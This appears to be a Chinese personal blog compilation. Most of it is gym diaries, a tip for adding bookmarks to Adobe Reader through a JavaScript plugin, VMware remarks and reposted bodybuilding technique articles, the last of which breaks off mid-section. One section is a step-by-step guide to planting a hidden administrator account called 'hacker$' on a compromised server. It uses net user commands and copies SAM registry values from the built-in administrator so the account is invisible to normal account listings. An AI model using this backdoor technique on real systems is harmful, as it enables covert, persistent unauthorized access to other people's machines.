今天是七夕了，祝天下有情人终成眷属！

      马上就要离开这座小城了，甚至比想象的还要快~
      心里有一些留恋，朋友、同事，还有那熟悉的一切...
      但是，更多的是期望...

也许
之前的全部时间
都是在等待
等待离开的那天...

快了
新的一天
新的开始...

只凭这张图片，你能看出来是哪台电脑在控制哪台吗？
是怎样控制的？

今天终于有时间到健身房，太久没练，也不知力量减了多少~ 健身房依然是老样子，没啥人气，尤其是器械区，左看右看还是一个人没有,汗 不管了，既来之则安之，开练~ 先高位下拉50kg*2组热身，然后单杠宽距拉背*3组，第1组8个，第2、3组都是6个，小郁闷一下，上次练还能多拉几个的~ 接下来再高位下拉、组合器划船、杠铃划船若干组，具体忘记了 :)          到最后了，曲腿硬拉~ 75kg*8个、85kg*5个，一直到105kg*6个，不加重量了； 开始往下减直到75kg，收工. 看来硬拉果然强大，前后不过十几分钟的样子，下背就酸痛了 遗憾的是深蹲重量依然没有硬拉大，看来要多练练腿了~

pdf格式是众多电子教程的首选格式，可惜居然不支持书签的功能，让人觉得很不方便，在网上找了一下，发现有如下的解决方案，很好

PDF文件的官方阅读程序“Adobe Acrobat Reader”不支持自定义“书签”功能，就造成当阅读长篇幅文档时，根本无法通过添加多个书签的办法来实现快速定位。发扬DIY的精神，为Acrobat Reader制造出书签功能吧！利用Adobe Acrobat Reader支持Javascript插件的方式，可以很容易地实现！

第一步：将从http://www.pdfhacks.com/bookmark_page/bookmark_page.js-1.0.zip下载的文件解压缩，把其中的“bookmark_page.js”文件复制到“c:\Program Files\Adobe\Reader 8.0\Reader\Javascripts”文件夹下，然后启动Adobe Acrobat Reader软件，依次点击“编辑→首选项→Javascript”，将右侧界面中的前三个选项全部选中（见图1）。

第二步：打开一个PDF文件，会发现左侧多了一个“书签”图标，点击它可得到树状结构的目录列表，当浏览到感兴趣的页面时，依次点击“视图→Bookmark This Page”（将该页加到书签），在弹出对话框中输入对此页的描述即完成了书签的添加（见图2）。

第三步：当需要快速打开添加了书签的页面时，只要依次点击“视图→Go To Bookmark”（转到书签），从弹出的小界面上点击相应名称的书签即可（见图3）。如果仅仅想删除某一个或几个书签，点击“视图→Remove a Bookmark”（删除书签），在弹出的小界面中单击不想继续使用的书签就可以删除了；如果想将所有的书签删除，可点击“视图→Clear Bookmark”（清理书签）就能一次性全部删除了。

小提示：
该插件创建的书签不是针对某一本书单独存放，而是全局性的，比如A和B两个PDF文件都创建了书签，当在B文件中使用书签功能时，书签列表中同样会出现A文件的书签！因此创建书签时一定要注明PDF文件的名称，省得日后混淆。另外移动PDF文件位置后，曾经添加的书签将失效！

　　1、假设我们是以超级用户administrator登录到开有终端服务的肉鸡上的，首先在命令行下或帐户管理器中建立一个帐户:hacker$,这里我在命令行下建立这个帐户 net user hacker$ 1234 /add 　　

　　2、在开始/运行中输入:regedt32.exe并回车来运行regedt32.exe。 　　

　　3、点“权限”以后会弹出窗口点添加将我登录时的帐户添加到安全栏内，这里我是以administrator的身份登录的，所以我就将administrator加入，并设置权限为“完全控制"。这里需要说明一下:最好是添加你登录的帐户或帐户所在的组，切莫修改原有的帐户或组，否则将会带来一系列不必要的问题。等隐藏超级用户建好以，再来这里将你添加的帐户删除即可。 　　

　　4、再点“开始”→“运行”并输入"regedit.exe" 回车,启动注册表编辑器regedit.exe。 打开键：HKEY_LOCAL_MAICHINE\SAM\SAM\Domains\account\user\names\hacker$" 　　

　　5、将项hacker$、00000409、000001F4导出为hacker.reg、409.reg、1f4.reg，用记事本分别打这几个导出的文件进行编辑，将超级用户对应的项000001F4下的键"F"的值复制，并覆盖hacker$对应的项00000409下的键"F"的值,然后再将00000409.reg与hacker.reg合并。 　　

　　6、在命令行下执行net user hacker$ /del将用户hacker$删除：net user hacker$ /del 　　

　　7、在regedit.exe的窗口内按F5刷新，然后打文件-导入注册表文件将修改好的hacker.reg导入注册表即可 　　

　　8、到此，隐藏的超级用户hacker$已经建好了，然后关闭regedit.exe。在regedt32.exe窗口内把HKEY_LOCAL_MACHINE\SAM\SAM键权限改回原来的样子（只要删除添加的帐户administrator即可）。 　

　　9、注意：隐藏的超级用户建好后，在帐户管理器看不到hacker$这个用户，在命令行用“net user”命令也看不到，但是超级用户建立以后，就不能再改密码了，如果用net user命令来改hacker$的密码的话，那么在帐户管理器中将又会看这个隐藏的超级用户了，而且不能删除。

       昨天练的背部，真是太有效果了，现在还在酸...
       在学习虚拟机的用法：VMWare和Virtual PC，都是很不错的软件！
不过VM在功能上更胜一筹，挂硬盘啊，用img、iso镜像文件启动啊，功能真是很实用~~
装了vmware后如遇到需装显卡或其它驱动的情况，只需点 VM-INSTATLL VM TOOL
，选yes安装即可 :)

晚上计划练腿部，跟教练讲好了，要跟他学习几个动作，呵呵

还有最近锻炼完了很注意营养，不知道要多久时间可以看得出效果...

                                                                                     ---------------转自来健身论坛

        女性们都对胸肌发达的男性情有独钟。事实上．一项最新的网上投票结果显示．最受女性关注的男性身体部位竟然是胸部，甚至超过了容貌．手臂，臀部．微笑以及头发。要想让你的胸部符合标准．你需要多一些杠铃卧推、上斜卧推和双杠臂屈伸之类的运动。这些都是很不错的动作，对于增加胸部肌肉的体积都很有功效。但是除非你是一名救生员．否则你将很少有机会来展示你的强健
胸肌。但是如果重点锻炼上部胸肌。那么当你穿上v字领汗衫或者开领衬衫时．你将吸引无数女性的目光。那么。你是否知道怎样才能正确地锻炼上部胸肌呢?下面的两种运动你会选择哪一种来作为你下一次胸部训练的内容呢?但是有一点必须事先声明：如果你被女孩儿们包围了。那你需要好自为主了。

    高位拉力器夹胸
    高位拉力器夹胸作为胸部锻炼的结束运动是一种很好的速择。但问题在于这一动作和下斜飞鸟一样，主要锻炼的是下部胸肌。有很多的胸部训练计划中都包含有这一运动，但是它的目标并不是上部胸肌。

    低位拉力器夹胸
    低位拉力器夹胸是锻炼上部和内侧肭肌的一种非常好的方式。将重量控制在轻到中等的范围内，争取每组做8—1 2次，来锻造骄人的上部胸肌。

   拉力器胸前交叉

    练习时,站在拉力器架中间,可以比把手的平面稍向前,以增加运动幅度.背微弓,展胸,展肩,前臂应略低于上臂高度.然后下拉,把手直至腹前交叉.挤压胸肌后有控制地返回,在顶部完成对内,外屈肌肉的牵拉.动作中应始终保持肘部弯度固定.
    提示:最好让双手交叉过头一点才好.那样胸肌收缩更充分.

刚压腿时高度别超过45度
压腿是一种随时随地可以进行的运动，找个攀登架、栏杆、甚至台阶把腿往上面一搭，就可以练习了。不过，如果你不经常锻炼的话，筋骨就会比较僵硬。猛地跨上很高的栏杆容易拉伤。因此，对于初练者，压腿的高度别太高，腿抬起后别超过髋关节，两腿之间的角度约为45度为宜。是最安全的，因为这个角度使髋关节在自然的生理状态，也较容易达到，不容易摔倒和对关节造成损伤。
经过约三五个月的锻炼，很多人压腿时能轻松抬到90度左右，坚持下去，腿还能扳过头顶呢。不过和髋关节持平的高度更为安全。
压腿别只求高度不求质量
在生活中，把腿架到和肩同高甚至更高，但身体动作完全变形，甚至都没有了振压的余地，压完腿拿不下来要费尽的用手搬下来。这样可就不好啦！因为腿的柔韧性不是一天两天能练出来的。特别是成年人，压腿一定要选择合理的高度，并注意正确的姿势。
压腿的3种正确姿势
1.正压腿

面对一定高度的物体，比如高台、桌椅，双腿并拢站立，抬起左腿将脚跟放在肋木上，脚尖勾起，踝关节屈紧，两手扶在左腿膝盖上。两腿伸直，挺腰，同时一定要收髋，这是许多人没有注意到的地方，上体前屈，向前向下做振压腿的动作，逐渐加大力量，然后换腿做。根据柔韧性程度，可依次用肘部、前额甚至下颌去接触脚尖。

2.侧压腿

身体侧对肋木等支撑物，右腿支撑，脚尖稍向外撇，左腿举起，脚跟放在肋木上，脚尖勾起，踝关节屈紧，右臂上举，左掌放在右胸前。两腿伸直，立腰，开髋，上体向左侧振压。髋部和腰部在这个练习中将得到锻炼。

做这个动作易出现两腿不直、身体向前弯曲。所以在练习中应注意，支撑腿的脚尖外展，被压腿尽量向身体正前顶髋，左臂向里掖肩，右臂向上举，向头后伸展。同时，将腿向肩后方振压。幅度逐渐加大，直到脚尖能接触到后脑勺。

3.后压腿

背对肋木，并腿站立，两手叉腰或扶一定高度的物体。右腿支撑，左腿提起，脚背搁在肋木上，脚面绷直。上体后屈，并做振压动作。左右腿交替进行。髋部、腰部和颈部可以得到练习。

该动作要求双腿直膝，支撑脚要全脚着地，脚趾抓地，挺胸，展髋，腰后展。做这个练习时两腿容易弯曲，因此可请同伴帮忙顶起自己被压腿的膝盖，用一只手下压腰、髋，帮助把腰挺直。

压腿的5大注意事项

压腿时为了避免拉伤或者跌倒，一定要注意以下5要：

1.要稳——单腿站立时必须站稳，最好能有个扶手，避免摇晃失重跌倒；
       2.要轻——压腿用力不能过猛，以免对腰腿肌肉骨骼造成损伤；
       3.要缓——压腿的动作宜缓慢；
       4.要短——般每次3～5分钟即可；
       5.要放松——压腿之后不要马上就结束锻炼，还要做一些踢腿练习来放松调整。

      蛮久没有更新过了，写一点近况吧！

      打算换部门，主管已经同意了，正在进行下一步...
最近换到了一个更为专业的健身房，大飞鸟架，史密斯架，各式组合器都很齐全，价格也还合理. 老板要我做业余教练，考虑中，多半不会吧...

      没完没了的大雪，在苏州，这样的天气很是反常，高速也一度关闭了. 有点担心还能回家吗？
      过年大概回家10天左右吧，还要早些回来定下来工作的事情....

希望新的一年里，自己各方面都顺心.

也希望朋友们一切顺利，呵呵！

颈部健美训练

细长脖子与健美体型是不相称的。而健美爱好者乃至健美运动员往往忽视了颈部训练。对一般人来说，加强颈部活动也是健身锻炼不可或缺的环节，因为颈肌发达了能使脑部供血更加充足，还能预防颈椎病。 1 头向前后左右屈。两脚分立，双手叉腰。头前后左右做环环绕，尽力屈。一个循环为一次，八次为一组。做四组。 2 反抗力前后左左右屈。两脚分立，双手扶头。当头下屈时，手施心反力向上托，以增加抗力。依此类推。前后左右各四次为一组，共八组。 3 头手倒立。两手扶地蹲撑，上体前倾至前额触地，向上摆腿提臀，到上体与地面垂直时，伸直髋关节，呈头手倒立姿势。稳定倒立足30秒、1分钟、1分30秒、至5分钟为一组。做两组。 除上述练习外，还可根据器材情况和自身需要设计出其他练习动作，如橡皮颈屈伸等。颈部健美训练是训练健美的内容之一，要照顾到，但不必每次训练都做

健美先生语：在训练百科全书中，我们将增加5种关键的肱二头肌训练动作。你可能会想，我已经知道该怎么做杠铃弯举了，但是你对一些细节真的已经都掌握了吗？你是否知道最佳的运动幅度是多大，如果你想锻炼肱二头肌的不同部分，你应该将双手放在什么位置，以及用什么动作来结束你的训练？这就是我们为什么要汇编这一系列训练指导的原因。将它们消化吸收，转变为自己的训练指导手册。

　　立姿杠铃弯举 
　　目标肌群：肱二头肌、肱肌、肱桡肌、旋前肌
　　〉〉作为锻炼肱二头肌的第一个动作，这是一个很好的选择，因为你能够给肱二头肌施加很大的重量负荷。在热身之后，使用你最多只能做8次的重量，做至完全疲劳。
　　〉〉在此之后，在上斜和托臂长凳上做哑铃运动，这样就分别让肱二头肌得到了充分的伸展和收缩。
　　〉〉如果你在背部训练之后训练肱二头肌，那么你在做弯举运动的时候就会觉得力不从心。因此，你可以考虑在这两次训练之间安排两天的休息时间。
　　（A图中）

　　姿势：
　　双眼注视前方，身体挺直，双膝不锁定，下背部保持自然弯曲。双肘应该在身体两侧锁定。
　　角度：
　　即使是在动作的最低点，也要保持肘关节略弯曲。
　　姿势：
　　双脚与肩同宽，以保持身体的稳定。
　　姿势：
　　手腕应该同你的前臂呈一直线，不应该向后伸展，也不应该向前弯曲。
　　握法：
　　双手与肩同宽反握住杠铃，掌心向前。
　　技巧：使用较宽的握距将会着重锻炼短头（内侧头）。　　使用较窄的握距则能让长头（外侧头）更强烈地收缩。
　　技巧：如果使用杠铃让你觉得手腕的压力太大了，那么换用曲杠杠铃。
　　（B图中）
　　提示：
　　不要依靠下背部的晃动来帮助你将杠铃举起来。这不仅让训练效果下降了，而且还容易导致受伤。如果你正在用下背部的力量来让杠铃运动，那么说明你使用的重量太大了。
　　姿势：
　　到最高点时，肘部贴在你身体的两侧，不要让它们向前运动。
　　技巧：如果你的手臂在最高点处向前运动了，那将大大减少肱二头肌上的负荷，而让前部三角肌承担起了很大一部分工作。
　　动作：
　　以平滑的方式将杠铃弯举向双肩，但是在你的双肘将要向前运动之前停住。在最高点位置处强烈地进行肱二头肌的顶峰收缩。
　　呼吸：
　　只有在达到最高点处时才呼气。
　　技巧：有一种称为21次法的高强度训练技巧，就是先将动作上半程做7次，然后将动作下半程做7次，最后将完整动作做7次。
　　技巧：想要更好地"顶峰"收缩你的肱二头肌，你可以增加一些额外的重量，在一个较小的运动幅度中进行训练。可以考虑在一个杠铃架上进行训练，用它来帮助你完成动作上半程的训练。

　　替代动作：
　　一般：立姿哑铃弯举
　　较好：立姿拉力器弯举
　　最好：立姿曲杠弯举

　　坐姿上斜哑铃弯举
　　目标肌群：肱二头肌，肱肌，肱桡肌，旋前肌。
　　〉〉在你做完重负荷的立姿杠铃弯举之后，这是很好的第二项动作的选择。你也可以偶尔用较重的重量将它安排在第一项运动来进行，以打破常规。
　　〉〉 最好在每次训练中都至少包含一种哑铃运动，在这种动作中将手腕旋前（将手掌向前转）是一个很不错的主意。上斜的姿势可以让你的肱二头肌（长头）得到很好地伸展。在此之后还要做托臂弯举，它让使双肘置于你的身前来训练肱二头肌。
　　（A图中）
　　握法：
　　以中性握法握住哑铃（双手掌心相对）。
　　角度：
　　将上斜长凳调节至45-70度。身体位置太高会影响肱二头肌的伸展，身体位置太低，则在使用很重负荷的时候会给肩部施加太大的压力。
　　运动姿势
　　保持肘关节略弯曲，即使是在动作最低点处。
　　姿势：
　　保持臀部和背部紧贴着靠垫。
　　姿势：
　　手臂下垂应该在身体直线之后，这会更有效地让你的肱二头肌长头得到伸展，从而获得更强烈的收缩。
　　（B图中）
　　动作：
　　当哑铃超过大腿高度之后，将手腕向上转。
　　技巧：将手腕向前旋转可以让肱二头肌得到更强烈的收缩。

　　技巧：双臂同时做弯举确实要困难一些。单臂的弯举可能会让你做出多余的身体动作，但是你也可以得到单臂训练，单臂休息的好处。所以刚开始时先做一组双臂弯举，然后在动作变得更困难时进行单臂交替训练。
　　呼吸：
　　只有在达到动作最高点处之后才呼气。
　　注意：
　　使用太重的重量会迫使你依靠身体晃动来带动哑铃，这会增加你受伤的机会。
　　姿势：
　　在整个运动过程中保持肘关节的位置靠后。
　　技巧：弯举的时候将肘关节向前运动会让这一运动变得更加简单，但是这会减少肱二头肌长头上所受到的张力。
　　替代动作
　　一般：立姿哑铃弯举
　　较好：坐姿哑铃弯举
　　最好：上斜长凳拉力器弯举

　　佐特曼弯举
　　目标肌群：肱二头肌、肱肌、肱桡肌、旋前肌。
　　〉〉这一弯举运动能给你的前臂一个很重的负荷，这一负荷在普通的主动收缩阶段是无法承受的。你会使用肱二头肌的力量将哑铃弯举起来，然后让你的前臂肌肉在负功运动阶段更努力地收缩。
　　〉〉这是一种很好的获得肌肉灼烧感的运动，因此很适合用来作为你训练的最后一种动作。不要拘泥于固定的次数，一直做到你无法完成下一次动作。在此之前做重负荷杠铃弯举和托臂弯举。
　　〉〉在这种运动之后，不要试图再做那些需要较强握力的动作，例如背部或者斜方肌训练，甚至另外一种肱二头肌运动。
　　姿势：
　　身体直立，保持下背部略弯举，抬头。
　　握法：
　　双手掌心向前握住哑铃。在前一半的弯举中保持这种手腕的姿势。
　　姿势：
　　将你的双肘固定在身体两侧，在整个运动过程中都保持位置不变。
　　姿势：
　　双手握住哑铃置于身体两侧，略比肩宽。
　　姿势：
　　双脚应该与肩同宽，双膝不锁定。
　　（B图中）
　　呼吸：
　　只有在哑铃达到最高点处之后才呼气。
　　握法：
　　在这一弯举过程中保持掌心向上的姿势。
　　注意：
　　不要晃动下背部靠冲量来帮助你将哑铃弯举起来。如果动作不正确，你是很容易受伤的。
　　运动：
　　同站立哑铃弯举一样，收缩肱二头肌，将哑铃向你的肩部弯举。
　　技巧：你不需要将手臂完全弯曲，也不用让哑铃接触肩部。如果你的肘部开始要向前运动了，那么你将开始失去肌肉上的张力。

　　技巧：大多数的哑铃运动都既可以单臂做也可以双臂同时做，但是这一运动最好是双侧同时做。在双臂训练时所能举起的哑铃往往不如单臂训练时所能举起得重。
　　替代动作
　　一般：单臂拉力器弯举
　　拉力器反弯举
　　较好：立姿哑铃弯举
　　反式哑铃弯举
　　最好：拉力器佐特曼弯举

　　图标示意
　　将这一动作安排在训练的早期进行
　　将这一动作安排在训练的后期进行
　　在做这一动作时要一名训练伙伴帮助你
　　用较低的次数（6-10次）做这一动作
　　用较高的次数（10-15次）做这一动作

　　（C图中）
　　技巧：到达最低点处后，将你的手腕完全转向朝上，再开始下一次动作。
　　运动
　　后旋前臂，让你的掌心朝下，然后将哑铃下降至开始位置。
　　速度：
　　控制着让哑铃慢慢下降，以增加前臂肌肉受到的刺激。
　　角度：
　　到达最低点处后，保持肘关节略弯曲，以帮助你开始下一次动作。不要将手臂完全伸直。

　　曲杠托臂弯举
　　目标肌群：肱二头肌、肱肌、肱桡肌、旋前肌
　　〉〉托臂长凳让上臂位于你的身体之前（这同上斜弯举时正好相反），这样就减少了伸展，使得更多的张力集中在肱二头肌短头上。
　　〉〉因为你的肘关节被固定在靠垫上，所以这并不是一种能够使用很重负荷的运动。将这一运动安排在训练快要结束时进行，采用较高的次数，让你的肱二头肌真正获得灼烧感。
　　〉〉在此之后做哑铃弯举或者拉力器弯举来结束你的肱二头肌训练。
　　（A图中）
　　姿势：
　　始终保持上臂与靠垫完全接触。将肘关节抬离靠垫会让这一运动变得更简单，但是会削弱这一运动的锻炼效果。
　　角度：
　　靠垫一般可以以两种方式放置。采用有斜度的放置方法会减小运动的范围，让运动变得更加容易。
　　握法：
　　双手掌心向上握住曲杠杠铃，握距略比肩窄。你的双肩、双肘和双腕应该在一个平面中。确保握住杠铃的姿势正确。
　　技巧：以较宽的握距握住杠铃将会增加短头（内侧头）的参与；较窄的握距会增加长头（外侧头）的参与。
　　姿势：
　　在做低点处不要将手臂完全伸直。
　　准备：
　　调节靠垫的高度，使你直坐或者直立的时候，你的腋窝舒适地靠在靠垫的上缘。
　　技巧：你也可以使用直杠杠铃来做这一运动。这样做能让你的手掌在整个过程中都朝上，增加肱二头肌的收缩。
　　（B图中）
　　注意：
　　在你运动的过程中，不要让你的双肘向外滑动，因为这将减弱肱二头肌上的张力，尤其是短头上的张力。这同时还增加了腕关节和肘关节上的压力。
　　姿势：
　　双脚与肩同宽放在地面上，身体中段紧贴在垫子上。不要靠身体的晃动来帮助你运动。
　　动作：
　　将杠铃往上弯举至肱二头肌完全收缩，但这并不意味着你需要将杠铃与下颌接触。当你的前臂和地面垂直即可。
　　替代动作：
　　一般：哑铃托臂弯举
　　较好：器械托臂弯举
　　最好：杠铃托臂弯举
　　曲杠拉力器托臂弯举

　　仰卧低位拉力器弯举
　　目标肌群：肱二头肌、肱肌、肱桡肌、旋前肌。
　　〉〉拉力器运动全程中都保持肌肉上的张力，甚至比哑铃或者杠铃的训练效果都要好。
　　〉〉这是一种需要严格控制动作的运动，最好在训练后期进行，采用较高的次数，让你的肱二头肌获得真正的灼烧感。
　　〉〉在此之前做重负荷站立弯举，哑铃运动以及/或者托臂弯举。
　　准备：
　　因为你不可能用身体的晃动来将重物举起来，因此你不可能使用像立姿拉力器弯举时所用的那么重的重量。
　　握法：
　　双手掌心向上握住直杠上的旋转套，与肩同宽。
　　注意：
　　如果你所握住的直杠上没有旋转套，那么你将会在弯举的过程中感觉到手掌中的牵拉感。如果你的双手疲劳了，那么你最终将无法握持。
　　姿势：
　　仰卧在低位拉力器之前。始终保持臀部和肩部接触地面。双膝略弯曲。
　　准备：
　　通过使用不同的杠和不同的握法，你可以获得一些肌肉刺激上的变化。
　　技巧：做每组时都稍微变换一下握法，使每组的动作都有所不同。
　　准备：
　　将直杠连接在拉力器最低的滑轮上。
　　（B图中）
　　动作：
　　完全收缩肱二头肌，将直杠向上弯举，但是不要弯举至下颌。
　　姿势：
　　双肘应该保持与地面接触。如果你将肘部向上运动，那么可以获得更大的运动范围，但是会减少肱二头肌长头上的张力。
　　姿势：
　　双腕、双肘和双肩应该始终在一个平面中。
　　姿势：
　　在整个运动过程中，你的双肘都应该与地面保持接触。
　　姿势：
　　双脚应该起跨在拉索上，紧紧踩住拉力器。
　　替代动作
　　一般：立姿杠铃弯举
　　立姿曲杠弯举
　　较好：立姿拉力器弯举
　　最好：立姿杠铃弯举（身体靠在柱子上或者墙上）

　　动作要领：
　　〉〉在史密斯机架的正下方放一个高约10厘米结实的踏板。踏板边缘应该和杠铃杆在同一个垂直平面上，而且应该调到肩部的高度。
　　〉〉将脚尖放在踏板上，确保能以前脚掌为轴完成最大幅度的运动。用肩膀架起杠铃。
　　〉〉确保脚尖指向前方。
　　〉〉双手略比肩宽，掌心向前握住杠铃。
　　〉〉双腿和上身完全伸直，使双脚、双膝、臀部和肩部与杠铃杆处在同一个平面。
　　〉〉将脚后根缓慢下放，直至感觉到跟腱和小腿肌肉有很强的牵拉感。
　　〉〉当最低点处后，比平时略深地吸气，然后摒住呼吸，同时收缩小腿的肌肉，将身体尽可能高地往上抬起。
　　〉〉继续摒住呼吸，同时在最高点处保持2秒钟。

 　　锻炼建议：
　　〉〉在做举踵的过程中，要尽可能地将双腿伸直。如果膝关节是弯曲的，那么会有更多的压力施加在比目鱼肌上，而不是在腓肠肌上。
　　〉〉在动作最高点保持2秒钟，这能让你小腿的腓肠肌和比目鱼肌得到更充分的锻炼。
　　〉〉在用力的过程中，摒住呼吸有助于保持身体稳定，并且能明显提高力量水平。
　　〉〉如果你想着重发展腓肠肌的某个部分，或者提高辅助肌群的质量，那么你可以尝试着用不同的双脚姿势来完成这一运动。将脚尖内旋可以更好地锻炼腓肠肌的外侧头。将脚尖外旋则是锻炼腓肠肌的内侧头。
　　〉〉在最低点处，不要使用惯性反弹动作。确保以稳定的速度往下降。

　　训练要素：
　　训练顺序：用史密斯机举踵来替代站立举踵。在你小腿训练日的最开始完成它，因为那时你的小腿力量是最强的。在史密斯机举踵之后，接着做坐姿举踵，后者主要锻炼的是比目鱼肌。
　　训练强度：做3~4组，每组10~15次。

　　主要涉及的肌肉：在站立举踵的运动中，只涉及到了2个主要的肌群：腓肠肌和比目鱼肌。
　　肌肉 位置 运动
　　腓肠肌 小腿背侧下部 伸踝关节
　　比目鱼肌                小腿背侧下部腓肠肌的深层   伸踝关节

　　在体育运动中的应用：
　　强健而又具有柔韧性的小腿在体育运动中非常重要，尤其是在诸如深蹲、力举和抓举等运动之中。踝关节的伸展动作对任何走、跑和跳的动作都至关重要。它为这些动作提供了将身体推向前方和上方的最终动力。因此，这一运动对于像排球、篮球、跳水、跑步（尤其是短跑）、网球、足球、以及其他的竞技体育运动都是非常重要的。

　　获得大块斜方肌其实不难，只要你能练好耸肩。
　　我认为本书的广大读者，无不希翼着能够拥有足以撑起衬衫的、强健的肌肉块。这不仅需要有发达的胸肌、背肌和肩部肌肉，而且还要拥有健壮的斜方肌。一位训练有素的健美者安排肩、背部训练计划时，会留出足够的时间，用来训练斜方肌。但是，很多人不重视斜方肌的训练，即便安排了这项训练内容，也存在运动量不足。

 　　耸肩
　　斜方肌训练比一般健美训练都要简单。其主要动作就是耸肩，也就是两肩向两耳方向上抬。就是这么简单，没有什么更高难的技术或动作。

　　做耸肩练习需要的器械是一对哑铃、一个杠铃或有手柄的器械，只要能产生抗力即可。你只需双手握住器械的手柄，将两肩分别尽力向两耳方向移动，肩抬到最高处时，做顶峰收缩，稍停一会儿。然后，两肩缓慢下放，放到最低点时，感觉到双肩充分向下伸展。这项练习的运动幅度（即耸肩和放肩的过程中，两肩的移动距离）很小。

　　你可能常常见到一些健美者做着比较复杂的耸肩训练。比如，有人在做耸肩的同时，还前后转动两肩。其实，这样做根本起不到强化练习的作用，只能徒增危险。耸肩真正作用是使肌肉的收缩，也就是肌肉在对抗重力的时得到锻炼和强化，这和前后转肩毫无关系。所以，在做这项练习的时候，要确保两肩上下运动。

　　强化斜方肌的其他训练
　　耸肩固然是强化斜方肌的主要方法，但有很多其他训练方法也能起到一定的作用。比如，普通的硬拉就是一个强化斜方肌的好方法。事实上，在做硬拉时，少做一组，以一组耸肩来替代，这不失为一个好方法。因为，你的训练目的是塑造完美的形体，而不是最大限度地增加力量（当然啦，你要是一名举重选手，我是不建议你用这种方法的）。

　　另一个强化斜方肌的训练是直立划船。当你把杠铃向上拉到下颚时，你能感觉到你的斜方肌正在收缩，这也正是这个训练的关键所在。

　　有一些训练运动并不是锻练斜方肌的，你要注意区别。如哑铃侧平举，这是针对三角肌中束的训练，而不是斜方肌。在这个动作中，当你的双臂用力平举时，要以两肩为轴，注意不要耸肩。

　　不论你在训练中的进步如何，你都会发现，在练过耸肩后，你能耸起更大的重量。但是，就像练很多动作一样，耸肩训练的原则是：不要太轻，更不能太重。合理的重量应该是，你可以严格地按照要求完成整个动作，即两肩尽量向两耳靠近，保持一会儿，不要屈肘。然后，两肩同时下降到最低点。整个动作可以做10~12个重复。

　　训练斜方肌的惟一缺点是：当你的斜方肌发达起来以后不久，你的衬衫衣领就会“变小”。

　　罗尼·库尔曼 六届奥林匹亚先生获得者

　　问：哪种推举对打造肩部肌肉的围度和宽度更有益处，是杠铃肩上推举还是颈后杠铃推举？
　　答：杠铃肩上推举才是真正针对三角肌的动作，它把受力点集中在目标肌肉上。而颈后杠铃推举则将部分重量转移到你的背阔肌、菱形肌、大小圆肌、冈下肌、斜方肌以及其它上背部的肌肉上。换句话说，你的背部正在为你的三角肌承担一部分重量。
 　　这就是为什么你在做颈后杠铃推举比做杠铃肩上推举的时候显得更加强壮的原因。有那么多的背部肌肉提供了向上推举的力量，使得推举动作更稳定。这对于你的上背部肌肉固然是很好，但却剥夺了肩部本应得到的锻炼。这一事实的最好证明就是，你在做完颈后杠铃推举之后，三角肌前束会有很强烈的灼烧感，但是你的三角肌中束和后束往往离疲劳还很远。
　　更重要的是，颈后杠铃推举还将你的肩部肌肉旋转到一个很不自然的位置，让它承受大量的旋转力。而肌肉最大力量的发挥应该是来自正确的姿势，这也就是那些喜欢做重负荷颈后杠铃推举训练的运动员为什么肩带肌肉经常发生问题的原因。
　　事实上，颈后杠铃推举既不能增加肩部的宽度，也不能很好地增加肩部的厚度。当杠铃架在你的颈后时，你的三角肌被向后向内牵拉，而不是将重量平均分配到三角肌的前束，中束和后束上。
　　在肩部锻炼中应该提倡肩上杠铃推举。肩上杠铃推举是最有效也是最基本的肩部练习动作。其它动作如各种平举，对分别锻炼三角肌的各部位很有好处。哑铃肩上推举也能很好地增加肩部的围度，但只有杠铃肩上推举才能发展整个肩部，这能有效地增加肩部肌肉的宽度和厚度效果显著。颈后杠铃推举使你的三角肌向后向内收，但颈前的肩上推举能够使你的肩部保持外展，并且使三角肌与上背部肌肉、斜方肌和上胸肌以复合的方式共同运动。
　　在颈后杠铃推举中，杠铃是通过肩部和背部来共同稳定的。而在杠铃肩上推举中，你的肩部肌肉独自承担控制身体稳定的责任。其结果就是三角肌中束和后束将处于更加持久的收缩状态。简言之，在杠铃肩上推举中，你的整个肩部肌群中，没有哪一束肌肉可以偷懒。
　　我建议在做杠铃肩上推举的时候采用坐姿，后背靠住靠垫，然后与立姿的杠铃肩上推举交替进行。前者能帮助你更加孤立地锻炼你的肩部肌肉，而后者更多锻炼的是你的全身力量。

　　记住：更多训练+更多食物=更多的肌肉。
　　虽然历史悠久，但是杠铃肩上推举依然在三角肌训练中排名第一。

　　动作过程
　　■ 将两个“D”型拉柄连接到拉力器十字夹胸器上，然后把滑轮调整到中等或较高的位置。
　　■ 站在夹胸器的中央，脚前后开立，站距与肩同宽。
　　■ 正握拉柄（虎口向上），以左手抓握右侧拉柄，右手抓握左侧拉柄。
　　■ 然后将双手置于胸前，掌心指向自己或双手掌心相对。此为起始姿势。
　　■ 吸一口气，屏住呼吸，然后沿弧线尽量向后摆臂。要以肩部和肘部发力带动双臂后摆，而不是以双手发力。
　　■ 向后摆臂的时候保持肘关节微屈，在动作的过程中始终保持挺直腰部。
　　■ 一直摆臂到达体侧为止，并且挤压片刻。
　　■ 双臂在充分的控制下，慢慢返回起始姿势，如此重复。

　　注意事项
　　■为了获得后肩部肌肉最强有力的收缩，在动作的始终都要以肩部和肘部发力来带动双臂摆动。
　　■ 发力时，双臂和肘部越靠后，后三角肌和中背部的肌肉就越能更多地得到锻炼。所以完全的动作幅度对于肌肉的收缩很重要。
　　■ 向后摆臂的时候屏住呼吸，对于稳定动作和锻炼肌肉非常重要。在每次动作将要完成的时候呼气。
　　■ 不要在动作开始时交叉双臂，因为这会使三角肌后束在肩关节处受到过多的抻拉。尤其当重量较大的时候，肌肉受到的压力就会更大。
　　简明小贴士
　　什么时候做：在肩部训练的末尾做站姿后肩拉力器飞鸟。
　　和什么动作一起做：在做这个动作之前，先做锻炼三角肌前束和中束的练习，如推举、前平举和侧平举等。
　　运动量：做3~4组，每组10~15次。

　　涉及的主要肌肉
　　站姿后肩拉力器飞鸟主要涉及5组肌肉。

　　肌肉名称         　　位置       　　　　功用
　　角肌后束    肩部三角肌最后面的一束   使双臂在肩关节处后展
　　冈下肌      肩部的沉层肌肉，轴转肌的一部分      　　　　　　　　　　　　　   协助双臂外展
　　小圆肌      肩部的沉层肌肉，轴转肌的一部分      　　　　　　　　　　　　　　协助双臂外展
　　菱形肌      位于上背和中背之间，在斜方肌下层    　　　　　　　　　　　　　 使肩胛骨合拢
　　中斜方肌    位于上背和中背较大一块钻石形的肌肉  　　　　　　　　　　　　  使肩胛骨合拢

　　在体育竞赛中的作用

